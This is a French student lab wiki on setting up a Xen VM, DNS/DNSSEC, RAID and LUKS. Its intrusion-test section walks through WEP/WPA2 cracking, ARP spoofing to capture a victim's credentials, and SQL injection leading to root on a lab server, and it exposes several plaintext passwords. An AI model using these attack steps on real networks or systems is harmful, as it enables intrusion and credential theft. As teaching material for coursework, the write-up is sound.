Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
